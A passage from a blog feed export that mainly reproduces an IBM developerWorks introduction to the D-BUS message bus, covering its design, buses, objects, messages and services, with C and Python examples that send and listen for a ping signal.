Operating Environment&lt;/a&gt; (LinuxCOE) - software which Instalinux is based on.  &lt;/li&gt;&lt;/ul&gt; &lt;ul&gt;&lt;li&gt; &lt;a href=&quot;http://ubuntuguide.org/wiki/Ubuntu_dapper&quot; class=&quot;external text&quot; title=&quot;http://ubuntuguide.org/wiki/Ubuntu_dapper&quot; rel=&quot;nofollow&quot;&gt;Unofficial Ubuntu Dapper Starter Guide&lt;/a&gt;  &lt;/li&gt;&lt;/ul&gt; &lt;ul&gt;&lt;li&gt; &lt;a href=&quot;http://www.kaarsemaker.net/files/ubuntu-cluster/&quot; class=&quot;external text&quot; title=&quot;http://www.kaarsemaker.net/files/ubuntu-cluster/&quot; rel=&quot;nofollow&quot;&gt;Setting up a Ubuntu cluster&lt;/a&gt;  &lt;/li&gt;&lt;/ul&gt; &lt;ul&gt;&lt;li&gt; &lt;a href=&quot;https://help.ubuntu.com/community/InstallCDCustomization/Scripts&quot; class=&quot;external text&quot; title=&quot;https://help.ubuntu.com/community/InstallCDCustomization/Scripts&quot; rel=&quot;nofollow&quot;&gt;Install CD Customization Scripts&lt;/a&gt; &lt;/li&gt;&lt;/ul&gt; &lt;ul&gt;&lt;li&gt; &lt;a href=&quot;https://help.ubuntu.com/6.10/ubuntu/installation-guide/hppa/appendix-preseed.html&quot; class=&quot;external text&quot; title=&quot;https://help.ubuntu.com/6.10/ubuntu/installation-guide/hppa/appendix-preseed.html&quot; rel=&quot;nofollow&quot;&gt;Ubuntu Installation Guide Appendix B&lt;/a&gt; - Automating the installation using preseeding &lt;/li&gt;&lt;/ul&gt;  &lt;!--  NewPP limit report Preprocessor node count: 5/1000000 Post-expand include size: 0/2097152 bytes Template argument size: 0/2097152 bytes Expensive parser function count: 0/100 --&gt;  &lt;!-- Saved in parser cache with key wikidb:pcache:idhash:264-0!1!0!!en!2!edit=0 and timestamp 20090830104015 --&gt; &lt;div class=&quot;printfooter&quot;&gt; Retrieved from &quot;&lt;a href=&quot;http://compsa.queensu.ca/Remastering_a_Ubuntu_Alternate_CD&quot;&gt;http://compsa.queensu.ca/Remastering_a_Ubuntu_Alternate_CD&lt;/a&gt;&quot;&lt;/div&gt;    &lt;div id=&quot;catlinks&quot;&gt;&lt;div id=&quot;catlinks&quot; class=&quot;catlinks&quot;&gt;&lt;div id=&quot;mw-normal-catlinks&quot;&gt;&lt;a href=&quot;http://compsa.queensu.ca/Special:Categories&quot; title=&quot;Special:Categories&quot;&gt;Category&lt;/a&gt;: &lt;span dir=&quot;ltr&quot;&gt;&lt;a href=&quot;http://compsa.queensu.ca/Category:Academics&quot; title=&quot;Category:Academics&quot;&gt;Academics&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cafehack.blogspot.com/feeds/4707996851594960646/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/1501855996580398212/4707996851594960646' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1501855996580398212/posts/default/4707996851594960646'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1501855996580398212/posts/default/4707996851594960646'/><link rel='alternate' type='text/html' href='http://cafehack.blogspot.com/2009/08/remastering-ubuntu-alternate-cd.html' title='Remastering a Ubuntu Alternate CD'/><author><name>LHX</name><uri>http://www.blogger.com/profile/18265848872395573930</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjWCqe42RgLitbguM5QRnrlo-um_0w5sz61MJecua0-ijGrDPshS1I5KSJYQKc6F770oVcSIroBPsn1E23aODE-Sh0hj7RGUOPqkAsabLyQUzvob32DpNIwOdg6yqdNaEU/s220/IMG_0794.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1501855996580398212.post-3460721604177999358</id><published>2009-08-17T00:00:00.001-07:00</published><updated>2009-08-17T00:00:53.252-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Connect desktop apps using D-BUS"/><title type='text'>Connect desktop apps using D-BUS</title><content type='html'>&lt;p&gt;&lt;em&gt;Helping applications talk to one another&lt;/em&gt;&lt;/p&gt;      &lt;div class=&quot;author&quot;&gt;&lt;a title=&quot;&quot; class=&quot;dwauthor&quot; rel=&quot;#authortip1&quot; href=&quot;http://www.ibm.com/developerworks/linux/library/l-dbus.html#author1&quot;&gt;Ross Burton&lt;/a&gt; (&lt;a href=&quot;mailto:r.burton@180sw.com?subject=Connect%20desktop%20apps%20using%20D-BUS&amp;amp;cc=tomyoung@us.ibm.com&quot;&gt;r.burton@180sw.com&lt;/a&gt;), Software Engineer, OneEighty Software, Ltd.&lt;/div&gt;&lt;div style=&quot;display: none;&quot; id=&quot;authortip1&quot; class=&quot;dwauthor-onload-state ibm-no-print&quot;&gt;Ross Burton is an average computer science graduate who by day codes Java and embedded systems. By night, to get away from the horrors, he prefers Python, C, and GTK+. You can contact Ross at &lt;a href=&quot;mailto:r.burton@180sw.com?cc=tomyoung@us.ibm.com&quot;&gt;r.burton@180sw.com&lt;/a&gt;.&lt;/div&gt;  &lt;p&gt;&lt;b&gt;Summary:&lt;/b&gt;  D-BUS is an up-and-coming message bus and activation system that is set to achieve deep penetration in the Linux® desktop. Learn why it was created, what it can be used for, and where it is going.&lt;/p&gt;&lt;p&gt;D-BUS is essentially an implementation of &lt;i&gt;inter-process communication&lt;/i&gt; (IPC). However, several features distance D-BUS from the stigma of being &quot;Yet Another IPC Implementation.&quot; There are many different IPC implementations because each aims to solve a particular well-defined problem.  CORBA is a powerful solution for complex IPC in object-orientation programming. DCOP is a lighter IPC framework with less power, but is well integrated into the K Desktop Environment.  SOAP and XML-RPC are designed for Web services and therefore use HTTP as the transport protocol. D-BUS was designed for desktop application and OS communication.&lt;/p&gt;             &lt;p&gt;&lt;a name=&quot;N1004F&quot;&gt;&lt;span class=&quot;smalltitle&quot;&gt;Desktop application communication&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;             &lt;p&gt;The typical desktop has multiple applications running, and they often need to talk to each other.  DCOP is a solution for KDE, but is tied to Qt and so is not used in other desktop environments.  Similarly, Bonobo is a solution for GNOME, but is quite heavy, being based on CORBA. It is also tied to GObject, so it is not used outside of GNOME.  D-BUS aims to replace DCOP and Bonobo for simple IPC and to integrate these two desktop environments. Because the dependencies for D-BUS are kept as small as possible, other applications that would like to use D-BUS don&#39;t have to worry about bloating dependencies. &lt;/p&gt;             &lt;p&gt;&lt;a name=&quot;N10058&quot;&gt;&lt;span class=&quot;smalltitle&quot;&gt;Desktop/Operating System communication&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;              &lt;p&gt; The term &quot;operating system&quot; here includes not only the kernel but also the system daemons. For example, with a D-BUS-enabled &lt;code&gt;udev&lt;/code&gt; (the Linux 2.6 replacement for &lt;code&gt;devfs&lt;/code&gt;, providing dynamic /dev directories), a signal is emitted when a device (such as a USB camera) is inserted.  This allows for tighter integration with the hardware in the desktop, leading to an improved user experience.&lt;/p&gt;             &lt;p&gt;&lt;a name=&quot;N10069&quot;&gt;&lt;span class=&quot;smalltitle&quot;&gt;D-BUS features&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;             &lt;p&gt; D-BUS has several interesting features that make it look like a very promising candidate.&lt;/p&gt;             &lt;p&gt; The protocol is low-latency and low-overhead, designed to be small and efficient to minimize round-trips. In addition, the protocol is binary, not textual, which removes the costly serialization process. The use cases are biased towards processing on the local machine, so all messages are sent in the native byte ordering. The byte ordering is stated in each message, so if a D-BUS message travels over a network to a remote host, it can still be parsed correctly.&lt;/p&gt;             &lt;p&gt; D-BUS is easy to use from a developer&#39;s point of view.  The wire protocol is simple to understand, and the client library wraps it in an intuitive manner.&lt;/p&gt;             &lt;p&gt; The library has also been designed to be wrapped by other systems.  It is expected that GNOME will create wrappers around D-BUS using GObject (indeed these partially exist, integrating D-BUS into their event loop), and that KDE will create similar wrappers using Qt.  There is already a Python wrapper that has a much simpler interface, due to Python&#39;s object-orientation and flexible typing. &lt;/p&gt;             &lt;p&gt;Finally, D-BUS is being developed under the umbrella of freedesktop.org, where interested members from GNOME, KDE, and elsewhere participate in the design and implementation. &lt;/p&gt;             &lt;div class=&quot;ibm-alternate-rule&quot;&gt;&lt;hr /&gt;&lt;/div&gt;&lt;p class=&quot;ibm-ind-link ibm-back-to-top&quot;&gt;&lt;a href=&quot;http://www.ibm.com/developerworks/linux/library/l-dbus.html#ibm-pcon&quot; class=&quot;ibm-anchor-up-link&quot;&gt;Back to top&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;a name=&quot;N1007E&quot;&gt;&lt;span class=&quot;atitle&quot;&gt;The inner workings of D-BUS&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;             &lt;p&gt; A typical D-BUS setup will consist of several buses.  There will be a persistent &lt;i&gt;system bus&lt;/i&gt;, which is started at boot time. This bus is used by the operating system and daemons and is tightly secured so that arbitrary applications cannot spoof system events. There will also be many &lt;i&gt;session buses&lt;/i&gt;, which are started when a user logs in and are private to that user. It is a session bus that the user&#39;s applications will use to communicate.  Of course, if an application wants to receive messages from the system bus, it can connect to it as well -- but the messages it can send will be restricted. &lt;/p&gt;             &lt;p&gt; Once applications are connected to a bus, they have to state which messages they would like to receive by adding &lt;i&gt;matchers&lt;/i&gt;.  Matchers specify a set of rules for messages that will be received based on interfaces, object paths, and methods (see below). This enables applications to concentrate on handling what they want to handle, to allow efficient routing of messages, and to keep the anticipated multitude of messages across buses from grinding the performance of all of the applications down to a crawl.&lt;/p&gt;             &lt;p&gt;&lt;a name=&quot;N10093&quot;&gt;&lt;span class=&quot;smalltitle&quot;&gt;Objects&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;             &lt;p&gt; At its heart, D-BUS is a peer-to-peer protocol -- every message has a source and a destination. These addresses are specified as &lt;i&gt;object paths&lt;/i&gt;. Conceptually, all applications that use D-BUS contain a set of &lt;i&gt;objects&lt;/i&gt;, and messages are sent to and from specific objects -- not applications -- that are identified by an object path.&lt;/p&gt;              &lt;p&gt;Additionally, every object can support one or more &lt;i&gt;interfaces&lt;/i&gt;. These interfaces appear at first to be similar to interfaces in Java or pure virtual classes in &lt;code&gt;C++&lt;/code&gt;.  However, there is not an option to check if objects implement the interfaces they claim to implement, and there is no way of introspecting an object to list the interfaces it supports. Interfaces are used to namespace the method names, so a single object can have multiple methods with the same name but with different interfaces.&lt;/p&gt;             &lt;p&gt;&lt;a name=&quot;N100AC&quot;&gt;&lt;span class=&quot;smalltitle&quot;&gt;Messages&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;             &lt;p&gt; There are four types of messages in D-BUS: method calls, method returns, signals, and errors. To perform a method on a D-BUS object, you send the object a method call message. It will do some processing and return either a method return message or an error message. Signals are different in that they cannot return anything: there is neither a &quot;signal return&quot; message, nor any other type of error message. &lt;/p&gt;             &lt;p&gt; Messages can also have arbitrary arguments. Arguments are strongly-typed, and the types range from fundamental primitives (booleans, bytes, integers) to high-level structures (strings, arrays, and dictionaries).&lt;/p&gt;             &lt;p&gt;&lt;a name=&quot;N100B8&quot;&gt;&lt;span class=&quot;smalltitle&quot;&gt;Services&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;             &lt;p&gt;                 &lt;i&gt;Services&lt;/i&gt; are the highest level of abstraction in D-BUS, and their implementation is currently in flux.  An application can register a service with a bus, and if it succeeds, the application has &lt;i&gt;acquired&lt;/i&gt; the service.  Other applications can check whether a particular service exists on the bus and can ask the bus to start it if it doesn&#39;t. The details of the service abstraction -- particularly service activation -- are under development at the moment and are liable to change. &lt;/p&gt;             &lt;div class=&quot;ibm-alternate-rule&quot;&gt;&lt;hr /&gt;&lt;/div&gt;&lt;p class=&quot;ibm-ind-link ibm-back-to-top&quot;&gt;&lt;a href=&quot;http://www.ibm.com/developerworks/linux/library/l-dbus.html#ibm-pcon&quot; class=&quot;ibm-anchor-up-link&quot;&gt;Back to top&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;a name=&quot;N100C7&quot;&gt;&lt;span class=&quot;atitle&quot;&gt;Use cases&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;              &lt;p&gt; Even though D-BUS is relatively new, it has been adopted very quickly. As I mentioned earlier, &lt;code&gt;udev&lt;/code&gt; can be built with D-BUS support so that it sends a signal when a device is hot-plugged.  Any application can listen to these events and perform actions when they are received.  For example, gnome-volume-manager can detect the insertion of a USB memory stick and automatically mount it; or, it can automatically download photos when a digital camera is plugged in. &lt;/p&gt;             &lt;p&gt; A more amusing but far less useful example is the combination of Jamboree and Ringaling.  Jamboree is a simple music player that has a D-BUS interface so that it can be told to play, go to the next song, change the volume, and so on.  Ringaling is a small program that opens /dev/ttyS0 (a serial port) and watches what is received.  When Ringaling sees the text &quot;RING,&quot; it uses D-BUS to tell Jamboree to turn down the volume.  The net result is that if you have a modem plugged into your computer and your phone rings, the music is turned down for you.  &lt;i&gt;This&lt;/i&gt; is what computers are for!&lt;/p&gt;             &lt;div class=&quot;ibm-alternate-rule&quot;&gt;&lt;hr /&gt;&lt;/div&gt;&lt;p class=&quot;ibm-ind-link ibm-back-to-top&quot;&gt;&lt;a href=&quot;http://www.ibm.com/developerworks/linux/library/l-dbus.html#ibm-pcon&quot; class=&quot;ibm-anchor-up-link&quot;&gt;Back to top&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;a name=&quot;N100DA&quot;&gt;&lt;span class=&quot;atitle&quot;&gt;Code examples&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;             &lt;p&gt; Now, let&#39;s walk through a few example uses of D-BUS code. &lt;/p&gt;             &lt;p&gt; dbus-ping-send.c sends a signal over the session bus every second with the string &quot;Ping!&quot; as an argument.  I&#39;m using GLib to manage the bus so that I don&#39;t need to deal with the details of the bus connection myself. &lt;/p&gt;            &lt;br /&gt;&lt;a name=&quot;N100E6&quot;&gt;&lt;b&gt;Listing 1. dbus-ping-send.c&lt;/b&gt;&lt;/a&gt;&lt;br /&gt;            &lt;table border=&quot;0&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; width=&quot;100%&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;code-outline&quot;&gt;&lt;pre class=&quot;displaycode&quot;&gt;#include &lt;glib.h&gt;&lt;br /&gt;#include &lt;dbus/dbus-glib.h&gt;&lt;br /&gt;&lt;br /&gt;static gboolean send_ping (DBusConnection *bus);&lt;br /&gt;&lt;br /&gt;int&lt;br /&gt;main (int argc, char **argv)&lt;br /&gt;{&lt;br /&gt; GMainLoop *loop;&lt;br /&gt; DBusConnection *bus;&lt;br /&gt; DBusError error;&lt;br /&gt;&lt;br /&gt; /* Create a new event loop to run in */&lt;br /&gt; loop = g_main_loop_new (NULL, FALSE);&lt;br /&gt;&lt;br /&gt; /* Get a connection to the session bus */&lt;br /&gt; dbus_error_init (&amp;amp;error);&lt;br /&gt; bus = dbus_bus_get (DBUS_BUS_SESSION, &amp;amp;error);&lt;br /&gt; if (!bus) {&lt;br /&gt;   g_warning (&quot;Failed to connect to the D-BUS daemon: %s&quot;, error.message);&lt;br /&gt;   dbus_error_free (&amp;amp;error);&lt;br /&gt;   return 1;&lt;br /&gt; }&lt;br /&gt;&lt;br /&gt; /* Set up this connection to work in a GLib event loop */&lt;br /&gt; dbus_connection_setup_with_g_main (bus, NULL);&lt;br /&gt; /* Every second call send_ping() with the bus as an argument*/&lt;br /&gt; g_timeout_add (1000, (GSourceFunc)send_ping, bus);&lt;br /&gt;&lt;br /&gt; /* Start the event loop */&lt;br /&gt; g_main_loop_run (loop);&lt;br /&gt; return 0;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;static gboolean&lt;br /&gt;send_ping (DBusConnection *bus)&lt;br /&gt;{&lt;br /&gt; DBusMessage *message;&lt;br /&gt;&lt;br /&gt; /* Create a new signal &quot;Ping&quot; on the &quot;com.burtonini.dbus.Signal&quot; interface,&lt;br /&gt;  * from the object &quot;/com/burtonini/dbus/ping&quot;. */&lt;br /&gt; message = dbus_message_new_signal (&quot;/com/burtonini/dbus/ping&quot;,&lt;br /&gt;                                    &quot;com.burtonini.dbus.Signal&quot;, &quot;Ping&quot;);&lt;br /&gt; /* Append the string &quot;Ping!&quot; to the signal */&lt;br /&gt; dbus_message_append_args (message,&lt;br /&gt;                           DBUS_TYPE_STRING, &quot;Ping!&quot;,&lt;br /&gt;                           DBUS_TYPE_INVALID);&lt;br /&gt; /* Send the signal */&lt;br /&gt; dbus_connection_send (bus, message, NULL);&lt;br /&gt; /* Free the signal now we have finished with it */&lt;br /&gt; dbus_message_unref (message);&lt;br /&gt; /* Tell the user we send a signal */&lt;br /&gt; g_print(&quot;Ping!\n&quot;);&lt;br /&gt; /* Return TRUE to tell the event loop we want to be called again */&lt;br /&gt; return TRUE;&lt;br /&gt;}&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;            &lt;p&gt; The &lt;code&gt;main&lt;/code&gt; function creates a GLib event loop, gets a connection to the session bus, and integrates the D-BUS event handling into the Glib event loop.  Then it creates a one-second timer that calls &lt;code&gt;send_ping&lt;/code&gt;, and starts the event loop.&lt;/p&gt;             &lt;p&gt;                 &lt;code&gt;send_ping&lt;/code&gt; constructs a new Ping signal, coming from the object path /com/burtonini/dbus/ping and interface &lt;code&gt;com.burtonini.dbus.Signal&lt;/code&gt;. Then the string &quot;Ping!&quot; is added as an argument to the signal and sent across the bus. A message is printed on standard output to let the user know a signal was sent. &lt;/p&gt;             &lt;p&gt; Of course, it is not good to fire signals down the bus if there is nothing listening to them... which brings us to:&lt;/p&gt;            &lt;br /&gt;&lt;a name=&quot;N10109&quot;&gt;&lt;b&gt;Listing 2.  dbus-ping-listen.c&lt;/b&gt;&lt;/a&gt;&lt;br /&gt;            &lt;table border=&quot;0&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; width=&quot;100%&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;code-outline&quot;&gt;&lt;pre class=&quot;displaycode&quot;&gt;#include &lt;glib.h&gt;&lt;br /&gt;#include &lt;dbus/dbus-glib.h&gt;&lt;br /&gt;&lt;br /&gt;static DBusHandlerResult signal_filter&lt;br /&gt;     (DBusConnection *connection, DBusMessage *message, void *user_data);&lt;br /&gt;&lt;br /&gt;int&lt;br /&gt;main (int argc, char **argv)&lt;br /&gt;{&lt;br /&gt; GMainLoop *loop;&lt;br /&gt; DBusConnection *bus;&lt;br /&gt; DBusError error;&lt;br /&gt;&lt;br /&gt; loop = g_main_loop_new (NULL, FALSE);&lt;br /&gt;&lt;br /&gt; dbus_error_init (&amp;amp;error);&lt;br /&gt; bus = dbus_bus_get (DBUS_BUS_SESSION, &amp;amp;error);&lt;br /&gt; if (!bus) {&lt;br /&gt;   g_warning (&quot;Failed to connect to the D-BUS daemon: %s&quot;, error.message);&lt;br /&gt;   dbus_error_free (&amp;amp;error);&lt;br /&gt;   return 1;&lt;br /&gt; }&lt;br /&gt; dbus_connection_setup_with_g_main (bus, NULL);&lt;br /&gt;&lt;br /&gt; /* listening to messages from all objects as no path is specified */&lt;br /&gt; dbus_bus_add_match (bus, &quot;type=&#39;signal&#39;,interface=&#39;com.burtonini.dbus.Signal&#39;&quot;);&lt;br /&gt; dbus_connection_add_filter (bus, signal_filter, loop, NULL);&lt;br /&gt;&lt;br /&gt; g_main_loop_run (loop);&lt;br /&gt; return 0;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;static DBusHandlerResult&lt;br /&gt;signal_filter (DBusConnection *connection, DBusMessage *message, void *user_data)&lt;br /&gt;{&lt;br /&gt; /* User data is the event loop we are running in */&lt;br /&gt; GMainLoop *loop = user_data;&lt;br /&gt;&lt;br /&gt; /* A signal from the bus saying we are about to be disconnected */&lt;br /&gt; if (dbus_message_is_signal&lt;br /&gt;       (message, DBUS_INTERFACE_ORG_FREEDESKTOP_LOCAL, &quot;Disconnected&quot;)) {&lt;br /&gt;   /* Tell the main loop to quit */&lt;br /&gt;   g_main_loop_quit (loop);&lt;br /&gt;   /* We have handled this message, don&#39;t pass it on */&lt;br /&gt;   return DBUS_HANDLER_RESULT_HANDLED;&lt;br /&gt; }&lt;br /&gt; /* A Ping signal on the com.burtonini.dbus.Signal interface */&lt;br /&gt; else if (dbus_message_is_signal (message, &quot;com.burtonini.dbus.Signal&quot;, &quot;Ping&quot;)) {&lt;br /&gt;   DBusError error;&lt;br /&gt;   char *s;&lt;br /&gt;   dbus_error_init (&amp;amp;error);&lt;br /&gt;   if (dbus_message_get_args&lt;br /&gt;      (message, &amp;amp;error, DBUS_TYPE_STRING, &amp;amp;s, DBUS_TYPE_INVALID)) {&lt;br /&gt;     g_print(&quot;Ping received: %s\n&quot;, s);&lt;br /&gt;     dbus_free (s);&lt;br /&gt;   } else {&lt;br /&gt;     g_print(&quot;Ping received, but error getting message: %s\n&quot;, error.message);&lt;br /&gt;     dbus_error_free (&amp;amp;error);&lt;br /&gt;   }&lt;br /&gt;   return DBUS_HANDLER_RESULT_HANDLED;&lt;br /&gt; }&lt;br /&gt; return DBUS_HANDLER_RESULT_NOT_YET_HANDLED;&lt;br /&gt;}&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;             &lt;p&gt; This program listens for the signals dbus-ping-send.c is emitting. The &lt;code&gt;main&lt;/code&gt; function starts as before, creating a connection to the bus.  Then it states that it would like to be notified when signals with the &lt;code&gt;com.burtonini.dbus.Signal&lt;/code&gt; interface are sent, sets &lt;code&gt;signal_filter&lt;/code&gt; as the notification function, and enters the event loop. &lt;/p&gt;             &lt;p&gt;                 &lt;code&gt;signal_func&lt;/code&gt; is called when a message that meets the matches is sent. However, it will also receive bus management signals from the bus itself.  Deciding what to do when a message is received is a simple case of examining the message header.  If the message is a bus disconnect signal, the event loop is terminated, as there is no point in listening to a non-existent bus.  (The bus is told that the signal was handled).  Next, the incoming message is compared to the message we are expecting, and, if successful, the argument is extracted and output.  If the incoming message is neither of those, the bus is told that we did not handle the message. &lt;/p&gt;             &lt;p&gt; Those two examples used the low-level D-BUS library, which is complete but can be long-winded to use when you want to create services and many objects.  This is where the higher-level bindings come in.  There are C# and Python wrappers in development that present a programming interface far closer to the logical model of D-BUS.  As an example, here is a more sophisticated reworking of the ping/listen example in Python.  Because the Python bindings model the logical interface, it is not possible to send a signal without it coming from a service.  So this example also creates a service: &lt;/p&gt;            &lt;br /&gt;&lt;a name=&quot;N1012C&quot;&gt;&lt;b&gt;Listing 3. dbus-ping-send.py&lt;/b&gt;&lt;/a&gt;&lt;br /&gt;            &lt;table border=&quot;0&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; width=&quot;100%&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;code-outline&quot;&gt;&lt;pre class=&quot;displaycode&quot;&gt;#! /usr/bin/env python&lt;br /&gt;&lt;br /&gt;import gtk&lt;br /&gt;import dbus&lt;br /&gt;&lt;br /&gt;# Connect to the bus&lt;br /&gt;bus = dbus.Bus()&lt;br /&gt;&lt;br /&gt;# Create a service on the bus&lt;br /&gt;service = dbus.Service(&quot;com.burtonini.dbus.SignalService&quot;, bus)&lt;br /&gt;&lt;br /&gt;# Define a D-BUS object&lt;br /&gt;class SignalObject(dbus.Object):&lt;br /&gt;   def __init__(self, service):&lt;br /&gt;       dbus.Object.__init__(self, &quot;/&quot;, [], service)&lt;br /&gt;&lt;br /&gt;# Create an instance of the object, which is part of the service&lt;br /&gt;signal_object = SignalObject(service)&lt;br /&gt;&lt;br /&gt;def send_ping():&lt;br /&gt;   signal_object.broadcast_signal(&quot;com.burtonini.dbus.Signal&quot;, &quot;Ping&quot;)&lt;br /&gt;   print &quot;Ping!&quot;&lt;br /&gt;   return gtk.TRUE&lt;br /&gt;&lt;br /&gt;# Call send_ping every second to send the signal&lt;br /&gt;gtk.timeout_add(1000, send_ping)&lt;br /&gt;gtk.main()&lt;br /&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;             &lt;p&gt; Most of the code is self-explanatory: a connection to the bus is obtained, and the service &lt;code&gt;com.burtonini.dbus.SignalService&lt;/code&gt; is registered. Then a minimal D-BUS object is created and every second a signal is broadcast from the object.  This code is clearer than the corresponding &lt;code&gt;C code&lt;/code&gt;, but the Python bindings still need work.  (For instance, there is no way to add arguments to signals.)&lt;/p&gt;            &lt;br /&gt;&lt;a name=&quot;N10141&quot;&gt;&lt;b&gt;Listing 4.  dbus-ping-listen.py&lt;/b&gt;&lt;/a&gt;&lt;br /&gt;            &lt;table border=&quot;0&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; width=&quot;100%&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;code-outline&quot;&gt;&lt;pre class=&quot;displaycode&quot;&gt;#! /usr/bin/env python&lt;br /&gt;&lt;br /&gt;import gtk&lt;br /&gt;import dbus&lt;br /&gt;&lt;br /&gt;bus = dbus.Bus()&lt;br /&gt;&lt;br /&gt;def signal_callback(interface, signal_name, service, path, message):&lt;br /&gt;   print &quot;Received signal %s from %s&quot; % (signal_name, interface)&lt;br /&gt;&lt;br /&gt;# Catch signals from a specific interface and object, and call signal_callback&lt;br /&gt;# when they arrive.&lt;br /&gt;bus.add_signal_receiver(signal_callback,&lt;br /&gt;                       &quot;com.burtonini.dbus.Signal&quot;, # Interface&lt;br /&gt;                       None, # Any service&lt;br /&gt;                       &quot;/&quot; # Path of sending object&lt;br /&gt;                       )&lt;br /&gt;&lt;br /&gt;# Enter the event loop, waiting for signals&lt;br /&gt;gtk.main()&lt;br /&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;            &lt;p&gt; This code is more concise than the equivalent &lt;code&gt;C code&lt;/code&gt; in dbus-ping-listen.c and is easier to read.  Again, there are areas where the bindings still need work (when calling &lt;code&gt;bus.add_signal_receiver&lt;/code&gt;, the user must pass in an interface and an object path; otherwise, malformed matchers are created). This is a trivial bug, and once it is fixed, the service and object path arguments could be removed, improving the readability of the code even more. &lt;/p&gt;             &lt;div class=&quot;ibm-alternate-rule&quot;&gt;&lt;hr /&gt;&lt;/div&gt;&lt;p class=&quot;ibm-ind-link ibm-back-to-top&quot;&gt;&lt;a href=&quot;http://www.ibm.com/developerworks/linux/library/l-dbus.html#ibm-pcon&quot; class=&quot;ibm-anchor-up-link&quot;&gt;Back to top&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;a name=&quot;N10156&quot;&gt;&lt;span class=&quot;atitle&quot;&gt;Conclusion&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;             &lt;p&gt; D-BUS is a lightweight yet powerful remote procedure call system with minimal overhead costs for the applications that wish to use it. D-BUS is under active public development by a group of very experienced programmers.  Acceptance of D-BUS by early adopters is rapid, so it appears to have a rosy future on the Linux desktop. &lt;/p&gt;         &lt;!-- CMA ID: 15039 --&gt; &lt;!-- Site ID: 1 --&gt;&lt;!--XSLT stylesheet used to transform this file: dw-document-html-6.0.xsl--&gt;&lt;br /&gt;&lt;p&gt;&lt;a name=&quot;resources&quot;&gt;&lt;span class=&quot;atitle&quot;&gt;Resources&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;             &lt;ul&gt;&lt;li&gt; You&#39;ll find info, downloads, documentation, and more at the &lt;a href=&quot;http://dbus.freedesktop.org/&quot;&gt;D-BUS home page&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt; D-BUS is developed as part of &lt;a href=&quot;http://www.freedesktop.org/&quot;&gt;freedesktop.org/&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;                     &lt;a href=&quot;http://www.corba.org/&quot;&gt;CORBA&lt;/a&gt; is a powerful, standardized remote procedure call specification.&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;                     &lt;a href=&quot;http://www.gnome.org/projects/ORBit2/index.html&quot;&gt;ORBit&lt;/a&gt; is the CORBA implementation used in GNOME.  (The GNOME component system &lt;a href=&quot;http://www.gnome.org/gnome-office/bonobo.shtml&quot;&gt;Bonobo&lt;/a&gt; is built on top of ORBit).&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt; KDE&#39;s remote procedure call implementation is &lt;a href=&quot;http://developer.kde.org/documentation/library/kdeqt/dcop.html&quot;&gt;DCOP&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;                     &lt;a href=&quot;http://mail.gnome.org/mailman/listinfo/utopia-list&quot;&gt;Project Utopia&lt;/a&gt; aims to build seamless integration of hardware in Linux and uses D-BUS to achieve this.&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt; Previously for developerWorks, Ross wrote &lt;a href=&quot;http://www.ibm.com/developerworks/linux/library/l-wrap/&quot;&gt;Wrap GObjects in Python&lt;/a&gt; (developerWorks, March 2003), which shows how you can use a C-coded GObject in Python whenever you like, whether or not you&#39;re especially proficient in &lt;code&gt;C&lt;/code&gt;.&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt; The tutorials &lt;a href=&quot;http://www.ibm.com/developerworks/edu/ws-dw-cobono1-i.html&quot;&gt;Bridging XPCOM/Bonobo: Techniques&lt;/a&gt; (developerWorks, May 2001) and &lt;a 